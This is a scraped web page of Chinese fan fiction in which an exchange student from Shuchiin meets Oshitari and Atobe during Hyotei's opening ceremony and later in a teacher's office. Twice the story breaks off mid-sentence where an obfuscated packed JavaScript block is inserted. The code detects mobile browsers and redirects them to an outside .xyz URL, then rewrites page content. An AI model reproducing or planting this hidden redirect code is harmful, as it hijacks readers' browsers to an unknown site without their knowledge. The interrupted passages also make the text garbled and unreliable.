不过是一位同学也不认识,没有能说话的对象,孤孤单单,像未被集体接纳由着自生自灭的边缘者,得随便找些事做,忙起来才能减轻身处陌生环境的无措和拘谨。 雪绘从头到尾翻页,又从尾到头翻页。 虽然没有对象和她交流,但四周投给她的关注度并不稀少。 她坐下不到三分钟,各方视线便迅速汇集过来围拢她。 周围人躲躲闪闪地冲她扭脖子,不停回头窥视她。间或半捂住嘴,和同伴小声谈论。 “喂,你快看那边……那位穿连衣裙的漂亮女生是谁,好陌生……” “不知道……你认识吗?我怎么从来没在年级里见过……” “啊?在哪在哪?让我瞅瞅让我瞅瞅!” “哎呀瞎吗你!边上,最好看的那个……” 新奇和惊讶的议论唔唔啾啾。 一行排排坐的冰帝驼色西装之中,忽然混入一身纤长的黑色连衣裙,无异于焦糖饼干堆意外掉进一颗格格不入的黑色巧克力。 这颗巧克力顶端罕见地挤入绵白甜奶油,一团雪绒绒,质感晶莹玲珑,是毫无瑕疵的鲜妍颜色。想必用食指沾触,捏捏,搓搓,触感一定温暖软和。 即便冰帝并不缺乏美人,即便落座于边缘位置,也依旧抢眼得格格不入,明丽得出类拔萃。 看完两眼,再看两眼,又看两眼。 忍不住,还看两眼。 扛住无数注目礼的清原雪绘:“……” 这股炽盛的热乎劲简直让人难以招架。 直面一束束热切、惊叹的目光,雪绘微微倾身,逐一回复同等善意的笑。这类状况她不算陌生,所以处理起来熟练自然。左面、右面、前面,面面俱到,谁都不会在她这里漏网。 “这位同学,打扰。” 轻微的响动,旁边蓝发男生也开腔发言。 “冒昧和你搭话。看你身上穿的裙装款式,好像不是我们冰帝的校服。” 他的声音蕴含了低沉磁性,波动着顿挫的音调,在她出声回答之前,以类似钢琴踩下踏板时的绵长韵律,继续回响在她耳边。 “交换生吗?”他说,“我之前听迹部提起过,这学期我们学校和几所友校会有交换生项目,主要以高三年级为主。” “按连衣裙的式样来看,如果我没猜错,你应该是秀知院的交换生?” 反应真快,一下子就识别了她的身份。 雪绘点头,言语中显示出和他不相上下的敏锐:“我听你话里话外提到迹部君,请问你是冰帝网球部的成员吗?” 男生很惊讶:“你认识我?” 雪绘解释道:“上学期秀知院和冰帝的网球练习赛,我也有在观众席上观看。” 猜想得到确认,夸奖彩虹屁像抓一大把彩虹糖在空中肆意挥洒:“不愧是去年拿了全国大赛冠军的强校,网球名门,双打和单打都精彩纷呈。像我这样对球类运动一窍不通的人,也能热血沸腾地从头看到尾呢。” “感谢你给予的高度赞扬,身为网球部正选,我深感荣幸,”男生似乎很受用,薄镜片下眉目眯起轻柔的圆弧,“你们秀知院的实力同样也不容小觑。” ——很好,破冰行动看来非常成功。 氛围到位,时机到位。雪绘笑着率先向他伸出右手。这是非常重要的一环,展现对新集体的主动和热情。 “聊了这么久,我们似乎还互相不知道名字,那我就先自我介绍一下吧,”她说,“你好,我叫清原雪绘,即将就读三年级A班,很高兴再次见到你。” “你好,我是三年级B班的忍足侑士,”对方绅士地虚握她的手指,一触即离,“清原同学,久仰大名。” 清原雪绘:“?” 知道是客套话,但这未免也太客套了。 她不是像迹部景吾一样作风张扬的名人,方圆十几里学校,连蚂蚱路过都休想逃脱他的威名贯耳,她哪有大名好久仰的。 “我们网球部的田中同学,”这次轮到忍足侑士解释,银边镜框在眼尾映出一个狡黠的圆点,“去年年底,为了考虑给你送哪样礼物,几乎把我们所有正选全问了一圈。” “那家伙,说是上次练习赛对你一见钟情,特意向迹部打听到了你的名字。” 下一刻,他仿佛并不急于听她的评价,不经意地把脖颈一偏。眼尾的圆点光斑便如同游鱼尾巴,倏忽闪动,悠悠溜到了左边去。 唇角挂起意味深长的微笑。 左侧,隔他们五六排座位的距离,在雪绘视野里消失许久的迹部景吾,重新现身于人前。 这次迹部景吾不再背对她,而是处于与她面对面的站位。 无须扭头转身,也能方便人看清正脸的位置。中间不会横挡其 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这些笨拙到冒傻气的闯关者们,她向来记不住脸和名字。她的脑容量也不值得为他们划出专用区域。 “可惜,田中这学期交换去了秀知院,”忍足侑士转回脸,对她一通深沉感慨,“这阴差阳错的巧合……哎呀,真是不凑巧。” 清原雪绘:“……” 不知道如何回应。 随便笑两声算了。 “哈哈,是很不凑巧的。” 深聊这个话题的意愿不强,她附和完便缄默闭嘴。忍足侑士也是非常知情识趣一男生,估计揣摩到她的意思,她不说话,他立刻随之收声。 交流短暂中断。 雪绘不自觉地拨动笔夹。 敲击声短促清脆,填满整个静默的间隙。 “……对了,忍足君。” 为了避免滑向冷场,她没话找话地飞快安排另一个话题:“没记错的话,刚才你有提到你是三年级B班的学生,是么?” “嗯是的,我们B班就在你们A班隔壁,一两步距离,隔得挺近,”忍足侑士笑着回答,“为什么突然问起这个?清原同学在B班有熟人?” 雪绘盯着他的眼睛亮闪了几下:“那太巧了!本来我一开始也是被分进B班的。这么说起来,我差点就和忍足君成为同班同学了诶。” “哦?”忍足侑士挑眉,“一开始被分进B班……按你的意思,A班其实不是你的原定班级,你是从B班被调换到了A班?” 稍微感到吃惊,他单刀直入继续问:“但教务处定好各班人员后基本不会变动。通知你的人有告诉你什么理由吗?” 雪绘无奈地摇了摇头,这也是她一直百思不得其解的疑团:“不知道。校方只发了一封邮件,说经过讨论,认为比起B班还是A班比较适合我。至于原因他们没有谈及半句。” 忍足侑士:“……” 沉默,沉吟,沉思。 ——心念电转的一刻。 忍足侑士:“!!!” 恍然大悟,想通关窍,不敢吱声。 某人手段真够雷厉风行。不知道拿着怎样冠冕堂皇的理由,教务处一早拟定好的生员安排,任由他想换就换,啧啧。 “说来也是可惜,没想到和忍足君同班的机会就这样失之交臂,”不明就里的雪绘适时唏嘘,“唉,实在令人感到遗憾。” 忍足侑士定定注视她几秒。 然后短促地轻笑出声。 “不,清原同学,你完全没必要感到遗憾,”和她恰恰相反,他的口吻跳跃出轻快的调性,“去A班对你来说或许不是坏事。” 话尾触地,雪绘看见他第二次,飞快往迹部景吾的方向瞟了一眼。唇角的弧度更加外扩,更加耐人寻味。 神神秘秘,奇奇怪怪。 她摸不着脑袋。 他们两个人闲聊,和迹部景吾有什么关系?时不时非要看他做什么?怎么,他脸上贴了金生怕被人抢吗? 紧接着,她马上意识到自己奇怪得太早。 “而且,我有一种第六感,”忍足侑士说,“今后我会在网球部时常……啊,更有可能是天天,我都能看见你。” “所以清原同学,我们日后见面的时间有很多,你大可以不用觉得遗憾。” 清原雪绘:“?”又在打哪方面的哑谜。 进冰帝不满半小时,A班大门还不了解朝哪个方向开,她的未来就已经在他口中安排得明明白白。她听得出,不同于胡诌的口吻,他的语气相当淡定且自信。 她蹙眉思考一秒、两秒,最终决定发问:“忍足君,请问……我能否知道你有这种第六感的原因在于?” “正因为没有客观原因,所以才叫第六感嘛。”微扬的尾音高深莫测。 他竖起食指,用指腹顶一指头眼镜架。洒然的手势一放一收,仿佛自带世外高人般掐指一算的玄妙和笃定。 “非要找个原因的话,我认为我此刻已然感受到命运的安排。”他一字一句,如同宣读一个必然的结果。 “等着看吧清原同学,你一定会来我们网球部,我有百分之两百的把握。” 手掌搭在膝盖上,他颔首再度一笑。 银边镜框反射出的亮光闪耀到了她。 ……命运的安排? 她吗?真的假的? 忍足侑士却不打算对她作详细说明。谜题铁了心扔她自己去猜。 “啪”一声,礼堂灯光大半熄灭,仅留下走道几处稍有亮度的地埋灯,以及凝聚在讲台的那片炽烈银白色。 他坐正身体,端着严肃听讲的姿势。一直弯起的眼弧却怎么也收敛不住,略微有些抽搐。脸上表情由此形成“绷住”和“难绷”的二象性横跳状态。 清原雪绘,交换到冰帝第一天,立刻陷进前所未有的大迷惑漩涡。 不是,哥们。 从上到下没一个爱说明白话,谜语人难道是你们冰帝的一项本土特色吗? 4. 04 冰帝的开学典礼与秀知院没什么分别。 打强光,起BGM,报幕→理事长致辞,掌声→报幕→教务主任致辞,掌声→报幕…… 仪式流程大同小异,讲话内容亦如出一辙。 要么总结辉煌历史,骄傲着“我们作为冰帝人理应继续传承这份荣光”;要么展望光明未来,憧憬着“今天你以冰帝为荣,明天冰帝以你为荣”。 台上,校级领导激情昂扬。 台下,清原雪绘木然呆滞。麦克风传扬出的每句话都从大脑皮层光滑地溜了过去。 她不是土生土长的冰帝土著。现在抛下秀知院标签,适应“冰帝学生”这个新身份还不足两小时。人地生疏,要共情座中大多数土著们的振奋和热血,委实很为难她。 慷慨激昂的陈词回响在礼堂,她只觉得燃,很燃,就是不知道具体在燃些什么。 真够索然无味的,难捱。 她忍下打哈欠的冲动,最终决定给自己找点事做,打发打发时间。 雪绘默不作声地挪了挪位置,借助前面同学的高度,阴暗行动,尽力隐没自己的身形。 调整完毕,打开笔记本,一边聆听台上发言,一边神情肃穆地频频颔首,一边认认真真地在纸上—— 画、速、写。 开学典礼很无聊。 不过报幕女生的气质的确高雅。 堪比3D建模的头骨结构。强光下,平整的面部肌肉也扛住了灯光检视。金色发丝扎成马尾,束于脑后,像瓷瓶中盛开一丛白瓣黄蕊小百合。 瞄一眼,画几笔。再瞄几眼,再画几笔。 她画,她画,她慢腾腾地仔细画画画。 成形的人像跃然纸上,她不禁偷摸在高亢的讲话声中拍案叫绝:看看,多好一颗头骨,天生是练速写的料,不用来石膏翻模真是损失。 雪绘满意地保留画作,接着翻过一页,开始构思新的画面结构。 斜后方,隔她两排座位处,注意力从坐下开始就一直胶滞于她身上的人,此刻正斜倚靠背,一瞬不瞬地盯着她看。 他微扬下颏,悠闲地抬起腿,左腿压右腿,换了一个更为舒服的跷脚姿势。 视野中,她每种细微的动作都纤毫毕现。 似乎对纸上的东西不甚满意,她倒转笔擦了擦纸,鼓起面腮轻吹一口橡皮屑。 能看见的那半张脸略微凸起。侧颊饱满,像一团轻软蓬松的白色棉花糖。 紫灰色发丝垂拂下来,他随之用指节挑开。 食指抵住侧偏的额角。光和影点在唇际,上翘着微微一颤,笑声又低又轻地落在脚边。 数不清第几位领导致辞完毕,礼堂内掌声雷动,如同一个往复的循环。 几秒后,掌声渐止,稀稀拉拉地收声。 “下面,有请学生代表,学生会会长迹部景吾君发表入学宣言。” 这句报幕像一道令行禁止的指令。话音一落地,所有声音整齐划一地归于沉寂。 周遭人员屏息,郑重地静静等候。 一点座椅起伏的嘎吱响动,由此被放大得清晰刺耳。 受这个声音的控制,前座有不少目光扭转过来,穿过她整个人,热忱地倾注在她后面的某一个方向。 雪绘这才后知后觉地察觉到迹部景吾可能距她不算太远。后排偏左方向,大概间隔一两排。起身的动静传到她耳里还挺响亮。 既定发言人不守常规坐靠近讲台的地方,偏选了离讲台老长一段距离的位置。上台讲番话,还要绕这么曲折的路线,也是不嫌麻烦。 但转念一想,因为这人叫迹部景吾,所以又觉得很合理。 大少爷的特立独行和他的张狂一样突出。 毕竟是能在赛场上明目张胆放言“规矩由我来定”的角色。他想办的事,想要的东西,向来无人敢多嘴一句半句。 不过她没有随其他人一道转身去看他。毫无必要,扭来扭去她也懒得动弹。再说了,人像的头发丝仍缺好几笔。 她可不得空。 雪绘保持原有姿势,坚定不动摇。笔锋快速地滑动、摩擦。又一颗精致的人头活灵活现。 男士皮鞋后跟踩踏过地板。 一步一响,每一步都稳重矫健。 随同脚步声一道盘踞她身侧的,是熟稔的玫瑰味,清甜好闻,带着某种独一无二的烙印。 起先似有若无,淡淡馨香,逐渐越来越浓,越来越馥郁。像捕食的野兽在嗅探,声响每挨过来一寸,气味便成群结队,沿固有轨迹准确无误地找过来了。 一路不松口地啮噬她敏感的嗅觉。 存在感极强,半分不容许她无视。 雪绘下意识地扬起手,摸了摸被这股香气勾得些许发痒的鼻尖。 脚步声、气味先一步打头阵,然后—— “嗒”、“嗒”。 两声不大不小的响指。 比座椅的弹响更近,更清脆抓耳。 也愈发迫使人无法忽略。 笔尖一滞,她不由自主地往声源偏转目光。 恰巧对上那双正低垂着平稳俯视她的眼眸。 他的身形游走在阴影间。面部表情昏晦暗淡,不甚明朗。长睫下流闪的这抹蓝色,便是此间独有的明炽亮色。 寂静,鸦雀无声。 他走向她。 那股特有的气味进一步侵范她的领域。嗅觉范围里一闻,全霸满他的私有标记。 突如其来的,胸骨间开始喘不匀气,一阵胀滞,一阵发闷,像堵了块粘稠胶状物。 手中笔杆攥太久,掌心被汗浸润得湿痒。 雪绘轻蹭过潮热的手掌,抹去薄汗,极力对抗这股无形的劲力。她本能地僵绷肩背,刻意加深每一次吸气和吐息。 收效甚微。 玫瑰味鲜甜绵密,似乎长出了宽大的触手,死死捂住口鼻。几近溺水般的窒塞。 迹部景吾倒十分自如。他漫不经心地瞟了笔记本一眼,又立刻转向她的眼睛,凝视她。 忽而低沉地哼了一声,带着点戏谑的笑意。 他微一弯腰,贴着她的影子俯下身,用只有他们二人能听见的音量点评: ——“还真以为你一直在记笔记。” 点评完毕,收回视线,气势凌凌地走人。 雪绘听见左边的忍足侑士,似乎也微弱发出了调侃意味的笑。 一左一右夹击,弄得她忽然局促不安起来。像上课偷吃零食,却被任课老师当场抓个现形,好丢人。 她讪讪捋着垂落的发丝,有一搭没一搭,胡乱绕指节打卷。 ……等等,肯定有哪里不对劲。 雪绘看着台上好整以暇准备讲话的迹部景吾,仔细思忖了一小会,方才大彻大悟。 这个人,明明自己也没有专心听讲,注意力全往她身上跑。否则,他怎么会认为她是“一直”[该词必须着重强调]在记笔记。 道理一通,一通百通。她放下捋头发的手,觉得自己腰杆子硬了,脊梁骨直了,蔫巴的气势也重新支棱起来了。 原来大家都一样,她在不安些什么? 何况他还身任学生会会长呢!带头三心二意。如果她不听讲偷摸画画有错,那和她相比,他简直更是罪加一等。 她挨一巴掌,他就得挨两巴掌。 这事不能深想,一深想竟有些郁闷不服气。 大哥不说二哥。各自半斤八两,他凭什么理直气壮地叭叭她。 不服气,不服气。当时居然没能想到这茬。白白让他占尽了嘴上便宜。 雪绘望向讲台的眼神化出一缕幽怨。 迹部景吾单手取下话筒。抹掉“敬爱的老师们亲爱的同学们”这一敬语,削去“很荣幸作为学生代表发言”这一谦辞,直接开门见山。 “该注意的各位老师已经讲得够清楚,我不想多废话。” 冰帝的国王不喜欢拐弯抹角,一针见血才匹配他的风格:“我看有些人都快坐不住了,讲再多恐怕也听不进去。” 说完,他毫无征兆地停顿住。漠无波澜的目光扫视底下一众听者。 雪绘用余光观察到左前方,有位拽着脑袋的男生猛然一个激灵,抖了抖上半身,立马直腰坐正;右前方,有一束微光立刻泯灭,光源处的女生梗了梗脖颈,当即昂首挺胸。 迹部景吾并不关心他们。 眼风经由他们环绕一圈,又转回到她身上。 清原雪绘:“……” 她心知肚明,他这是在暗暗点她呢。 但其他人不知道。其他人屏气凝神地瞩目迹部景吾。迹部景吾的目光只凝注于她。 那点不痛不痒的把柄被他牢牢抓在手心。唯有他一个人清楚,所以只和他相关。别人都被蒙在鼓里,和别人没有任何关系。 隐秘,暗昧。众目睽睽,却又秘而不宣。 雪绘犹自还在不甘心,如此就越不肯认输。 一丝倔强和好胜心死灰复燃,执拗地噼里啪啦冒火花。 她抿唇咽下紧张情绪,气宇轩昂地仰首,将那道杀过来的视线照单全收。不躲闪,不逃避,不屈服,甚至有闲心跟他挤出温柔友善的微笑。 垮一张臭脸太生硬,容易显得破防。还是放软钉子好,既保护乳腺不憋气,又让对方挑不出毛病。 效果不错。被她以软碰硬,迹部景吾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不知道迹部景吾主动问起他什么,他又同迹部景吾回答了什么,雪绘注意到,在踏出门的一瞬间,帘幕卷起,筛漏进阳光的一瞬间,迹部景吾飞快回眸看了她一眼。 略显锐利的视线被灿金色点染,像打磨得薄韧的刀锋映着焰光,一晃一闪,轻巧地掠过她。 三分钟后,鹰司主任按照约定找到她,领着她离开礼堂。 冰帝校园占地面积广袤,通往不同教学楼的各条路径纵横交错,像个复杂的迷宫。 鹰司主任弯弯拐拐绕圈子。雪绘亦步亦趋地跟紧她,唯恐一不小心就迷了路。 五分钟后,达到校务办公大楼。 进电梯,上三楼,指纹解锁声一响,雪绘由鹰司礼子引着进入教务主任办公室。 “清原同学,这是按照你的尺寸制作的冰帝校服,一共冬夏两套,外加一双皮鞋。今天拿回去试试看合不合身。不合适的话,可以拿到后勤处换一套其他尺寸。” 鹰司礼子取出一个大纸提袋,递给她。 “好的,谢谢鹰司老师。” 雪绘双手接过,小心翼翼地搁一边放好。 钥匙碰撞,锁孔弹开。 鹰司女士站在书桌后,又从抽屉里拿出一张A5大小的表格。 “清原同学,我先前看过你的交换生报名表,”她把表格推向雪绘,说,“预期规划那一栏你有提到,你之所以想申请冰帝的交换项目,主要考虑……” “笃”、“笃”、“笃”。 三声有节奏的敲门剪断话锋。 “……请进。” 门扇洞开,峻拔的身影阔步迈入。 他的胸口轻微起伏,像是在平缓气息。可能是一路跑过来的。 “鹰司老师,打扰,”那人平淡打了声招呼,将一个文件夹放到桌上,“本学期学生会的各项事务大致安排,您过目。” “这么快?”鹰司礼子讶然地翻动几页。 “昨天的通知,今天就完成了。效率还是一如既往的高啊,迹部同学,”她说,“不过开学典礼才结束,实在不用太着急给我。晚三四天问题也不大的。” 雪绘纳闷地转首看他,正和迹部景吾望过来的目光汇聚到一处。 教务主任在说话,所以她噤声没有说话。但狐疑的眼神却表达得一清二楚,是个问句,颇有些自言自语的意味—— “真是巧了,怎么偏挑这个时候来?” 听着并不是特紧要的东西。 迹部景吾小幅度歪头,张扬好看的眉眼徐缓一挑。 他嘴上答鹰司礼子:“反正现在没什么事,先交过来免得后面忘记。” 但凝瞩不转盯准她的眼眸,在主任眼皮子底下,成为只有她一个人了然的独特暗语。当着旁人的面,他不紧不慢地无声回应她—— “你能来,我不能来?” 看了一眼她,又看了一眼门外。 “那我走?” 5. 05 清原雪绘:“……” 什么她能来他不能来的,她哪有这个意思。 隐隐说得她好像独霸一方的山大王,强势地大喇喇占着山头,任谁都不许过路一样。 不知道是什么缘故,大少爷现在似乎看起来兴致不错,所以又无中生有地打趣人玩了。 雪绘不声不响地撇低唇弯。上半张脸表演若无其事,下半张脸嘴角降低两个像素点。 ——自然,她要有意控制表情变化。无语归无语,还是不能太嚣张,以防被一向以洞察力著称的迹部景吾观测到。 不过她倒不觉得多恼怒。 无伤大雅的玩笑她能分辨出来,也从不会放在心上就是了。 毕竟她对迹部景吾亦有不敢苟同的时候。忍了又忍,实在忍不住,同样要不轻不重地刺他一下,含沙射影地阴阳怪气一通。百姓放火,州官也放火,某种程度上来说还怪平等的。 肩头疾速地轻耸起来。雪绘一板一眼,人机般毫无感情纯凭技巧地对他微笑。 顺带在主任的视野盲区做一个手势—— “您请随意。” 他来不来,什么时候来,的确和她没什么相干。随大少爷的便吧,反正她管不着。 她只要做好自己的事就可以了。 雪绘别过头,把他剔除出自己的视野之外。 对两个人私下各种眼神官司一无所知的鹰司女士,此刻刚好放下文件,目光从页面中抬起,恰合时宜地横进他们之间。 “那好,今天我抽空看一下。有任何意见我会随时与你沟通,”她说,“迹部同学,如果没有其他问题的话……” “鹰司老师,”迹部景吾从容捏稳主动权,“开学教务处事多,等会我带着新同学去A班,不耽误您时间。” 新同学清原雪绘,不由得重新睃他一眼。 鹰司礼子收回出口的半截话:“嗯……” 她思索半晌,认为他的提议不无道理,改口道:“也可以,反正你们俩在一个班。那就麻烦你了,迹部同学。” “我这边还有些事要和清原同学交流一下,你先稍坐几分钟。” 迹部景吾:“不麻烦,应该的。” 迹部景吾顺理成章地作为无关者留了下来。 他转身大步一迈,大摇大摆往沙发上一靠,径直坐下。双腿优雅地交叠,曲起修长的腿部轮廓。就着这个姿势,他理好裤装褶皱,随手捡一本杂志阅览。 五秒钟之内。 翻一页,又翻一页,再翻一页,连翻三页。 手肘抵在扶手上,支撑着头部。 迹部景吾身体半转,以蚕食一样不可察觉的速度,缓慢往雪绘和主任所在方向腾挪。 鹰司礼子用指尖轻点那张A5表格,继续刚才未竟的话题: “清原同学,我之前有大致浏览过你递交的那份交换项目申请书。” “里面有提到,你之所以想申请冰帝的交换生项目,主要看中冰帝学园大学部和高中部联合开展的‘卓越计划’项目。” “是的,鹰司老师,”雪绘点头回答,“我曾经阅读过相关的新闻报道,也从冰帝大学部官网仔细研究过该项目的具体内容。” “在高三第一学期第一季度,冰帝大学部不少院系会定向吸纳具有就读本专业意向的学生,加入由相关领域教授指导的科研团队。其中,就包括我感兴趣的电子信息技术领域。” 高中阶段就能参加教授团队的科研项目,提早接触最前沿的行业技术,这是冰帝独有的人才培养特色,其他学校万万找不出第二个。 她锚定的正是这一点。 如果不是奔着这个目的,她也不至于软磨硬泡,千辛万苦地劝说母亲同意,全力以赴地争取到交换机会。 雪绘搬出事先草拟好的说辞,应答如流:“鹰司老师,我非常向往可以成为‘卓越计划’的一员。” “希望能够借助冰帝提供的广阔平台,在学识渊博的老师和优秀的前辈指导下,学习到更多的知识,更好地提升相关领域的个人素质。这是我申请交换最重要的原因。” “还请鹰司老师能够考虑我的请求,给予我一个加入该项目的机会。” 了解详实,愿景清晰,决心坚定。 几乎用上了极其正式的郑重腔调。 雪绘忐忑地攥紧手指。 心脏在胸腔中跳动,节奏有些快,有些重,每一下似乎都轻微挤压着肺部。 根据她预先的摸底,冰帝大学部的“卓越计划”,历来不曾有接收外校高中生的先例。 而她选择曲线救国,试图通过成为交换生以跻身该项目的举动,无异于远航大西洋,去开荒一片无人涉足的新大陆。 是否能成功,她的心里根本没底。 虽然拿不准可不可行,但自身意向已经恳切明确地传达了出去,算是全力争取过。即便最后不成,就当做普通的交换学习,体验体验有别于秀知院的冰帝校园生活也不错。 上看下看都不亏。 她积极乐观地想。 “看来清原同学的目标很明确,是提早就想好了吧?”鹰司礼子笑盈盈,三十七度的嘴说出的话语却有些冰冷,“但你应该了解,基于学生沟通的方便性考虑,我们‘卓越计划’从未招收过非冰帝学生。” “这一点我想如果你有心,从历届公开的入选名单中也能够看得出来。 清原雪绘:“……” 七上八下悬着的心终于死了。 也对,本来优质资源仅对本校学生开放合情合理,既便于管理,回报率也高。土著直升本部大学的概率可比外校生高多了。 清原雪绘:“鹰司老师……” 她高估了自己豁达的心态,也低估了自己的不甘和执着。事到临头,安慰自己要豁达看开的确是难事。 她垂死挣扎:“我个人认为……” 鹰司礼子抬手比划,暗示她别太慌张:“不过我和大学部的项目负责人沟通过,既然你本学期交换到了冰帝来,姑且算符合基本要求。” 清原雪绘:“!!!” 死掉的心又打赢了复活赛。 鹰司礼子将一支钢笔压在表格上,连纸带笔一起推向她: “清原同学,你可以填一下这张项目申请表。过两天由我交给大学部的负责人,到时候他会进行评估。” “鉴于你的情况比较特殊,我先尽力帮你争取,”她温声细语道,“只是大学部的负责人和教授们能否同意,最终你能否成功加入,这些我无法向你保证。” “好的好的,我理解的鹰司老师!”雪绘迫不及待接话,激动得尾调也飞旋起来,“谢谢您,鹰司老师,非常感谢您的帮助!” 鹰司礼子柔和地笑了笑:“填吧,尽量写得详细些。” 朝目标迈进一步,内心也生发一点小小的雀跃,像贫瘠土地上冷不丁地萌芽出四叶草,微小的一株,却是生机勃勃的绿色,希望的起源。 再渺小的机会都值得自己争一争,必须紧抓不放。 她抬手按住胸口,深缓地吐出一口气。 拉过板凳,抓起钢笔,雪绘迅速坐下。 一连串摩擦音在纸面间沙沙作响。 “笃”、“笃”、“笃”。 突兀的敲门声第二次插.入这间办公室。 房门打开,探进一张年轻女士的脸,带着歉疚的口吻:“啊,不好意思打扰各位——鹰司主任,请问您现在方便出来一下吗?我有些事要和您商量。” “好,稍等,我这就来。” 鹰司礼子颔首,绕过书桌走出办公室。 她反手带上房门,只留一条细微空隙。 形势出现了微妙的变化。 有人离开,就有人补位。 外面模糊的讲话声窸窸窣窣响起,沙发涩滞的摩擦声也窸窸窣窣响起。 主任一走,有个人立即放下杂志,起身,单手拎起一张板凳,接近她右手边,坐下。一连串动作行云流水,天经地义得很,就像事态的发展本该如此一样。 起初,雪绘只顾专心填自己的表,并不打算搭理边上多出来的人。 但那道目光在她的侧脸、手臂、纸面来回逡巡,极具份量感,猎网铺开似的紧紧兜住她,压着她,让人无法不给予关注。 雪绘不得不停下笔,视线完全转向那位招呼都不打一声,就径直坐过来干扰她的不速之客。 迹部景吾一副悠哉游哉的模样。掌心托着侧脸,他朝她握钢笔的手扬了扬下颏,闲闲道: “继续写啊,怎么不写了?” 清原雪绘:“你看着我,我写不了。” 身体重心远离他,她悄无声息地往后仰。 “至于这么紧张?”迹部景吾挑眉,“难道我是什么豺狼虎豹,要吃人?” 差不多吧,反正都是她难以招架的东西。 除去必要的交流,没事最好别上赶着往前凑。主动让道莫挨,少招惹,少沾边。 雪绘静悄悄在心里腹诽,并反复、有意识地对自己强调“与迹部景吾来往”准则。不过这些话肯定得憋住,千万不能说漏一个字,不然以后的冰帝生活还想不想安生了? “不,我不是这个意思。没有针对你,你误会了迹部君,”她装出十二分诚恳,大包大揽道,“任何人一盯着我看我就写不出来字,是我有毛病,不是你的问题。” 迹部景吾:“哦?是么?” 迹部景吾平静地和她对视。 无言的几秒间,他倾身靠近她几寸,使她此前后仰的努力前功尽弃。 呼吸交替,气息混杂。 她的鼻息中勾连着他颈项上的玫瑰香味。 蓝色眼眸彻底将她包围,锋锐而明亮,正像压低身体俯卧草垛间的虎,似乎在默然窥探什么,伸出利爪,尝试着一点一点,如同剥猎物皮毛一样剥开她表层的伪装。 ……被他审视得有些头皮发麻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057809|162928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她深知自己心理素质并不过硬,在这种拷打下可能撑不了几秒。正欲第二次拉开距离,错开他的目光,忽然,他唇角上勾,小拇指指腹点了点眼角处的泪痣。 耳根下晃起一声轻笑。 “好独特的毛病,本大爷今天算是见识到了,”迹部景吾声线平直道,“行,你自己写吧,我不看你就是。” 说着,他一个利落的180度转身,留给她柔顺微翘的紫灰色头发,和圆润饱满的后脑勺。 雪绘恍惚了几刹那。笔尖戳着纸顿出一个墨点。片刻后,她回过神,低下头加快速度填表。 栏目无非几项:姓名性别,年龄,学习经历,荣誉事迹,目标意向,加入科研组的规划和期待………早已练就出丰富填表经验的雪绘,自有一套固定的说辞模板,以高效应付各种表格。 不出五分钟,雪绘写下最后一个字,画上句号收束全篇。从头到尾检查内容,确认字句完整,情真意切,无错字无遗漏。最后,“啪嗒”一声,她干脆地合拢钢笔。 桌面呈现出一份工整详实的申请表。 笔帽盖上的瞬间,迹部景吾似乎耳聪目明地捕捉到结束的信号,背对着她问:“填完了?” 清原雪绘:“嗯,刚填完。” 迹部景吾:“那我现在可以转过来了?” 清原雪绘:“可以。” 得到肯定的应允,迹部景吾当即反身回正,一秒都不想多面壁。 两张椅凳并排着椅凳。 两人肩膀并排着肩膀。 谁也没开口。一时间寂无声息。 门外,鹰司礼子的谈话并未结束。 “鹰司老师,你看这样安排怎么样……” “看着还行,但是有个疏漏,你看看……” “哦好的好的,这个地方我再斟酌……” 一门之隔,外面多热闹,里面就有多冷清。摇摇欲坠的冷清,像天花板上悬吊的玻璃水晶灯枝,经不起碰,一碰就要碎。 雪绘摸摸桌上这本书,又摸摸桌上那本书,显得自己十分忙碌,手头一堆事情等着她做。 迹部景吾也不松懈,拣起她之前用过的钢笔,在一张废纸上随意写写画画。 食指与拇指有力地握紧笔杆,中指指节托着侧面,轻轻往上一顶,指肚恰好严丝合缝地黏住她残留的指印。 前者的痕迹,后者的温度。 于同一支笔的相同部位重合。 沉默,沉默是此刻的教务处办公室。 清原雪绘:“……” 桌上每本书摸了个遍,终于被她摸完了。 沉默,还是沉默,唯有沉默。 可能是写了几个字,觉得毫无意义且无聊透顶,迹部景吾拂开纸,心不在焉地开始玩弄这支钢笔。信手合上笔盖,又拨开笔盖。合上,拨开。再合上,再拨开。 啪嗒,啪嗒,啪嗒。 金属来回碰撞的节奏,像心跳不规律时微乱的搏动。 趁此间隙,她遮掩着偷偷觑了他一眼。 很显然,她与迹部景吾现在并非是能做到可以坦然面对无话可说的关系。 不知道大少爷自不自在,反正她难受得很。椅子上像长了钉子,硌楞着尾椎,她坐不住;鞋底下也像长了钉子,铆嵌住脚掌,她跑不掉。 看着大少爷不像是会为了破冰,便将本人摆在下位主动搭腔的脾气。 因此,为避免滑向更加尴尬的境地,也为让自己能舒服点,她选择承担起活跃气氛的责任。 清原雪绘:“迹部君,你……” 迹部景吾:“清原,你……” 万万没料到,对面和她几乎同时开口。 一只夹捏钢笔的手越过社交普适距离,猝不及防地伸向耳廓,虚虚半包围她的上半身。 清原雪绘:“?!” 雪绘心头悚然一惊。 思维来不及理智地分析,身体已经先一步自发行动。她猛地从椅子上站起来,踉跄着,木着脑袋后退了两步。 这番激烈的阵仗突如其来,也打了迹部景吾一个措手不及。他怔住,有些疑惑地攒起眉。手臂悬停于半空,还保持曲肘前伸的姿势。 流动的空气在此刻急剧收缩,胶滞。 他一言不发地凝视她,缓慢抬高眉尾。 “啧”。 “刚才还说不是针对我,”迹部景吾意味不明地笑起来,“清原,这么急着后退两步躲我,你认真的?” 阳光在他指尖上肆意跳跃,直愣愣地扎进她的视野。雪绘用力闭上眼,再睁开眼,只觉得头晕目眩,腿有些发软站不稳。一切事物摇晃成模糊的影子。 这回的确是她有毛病。 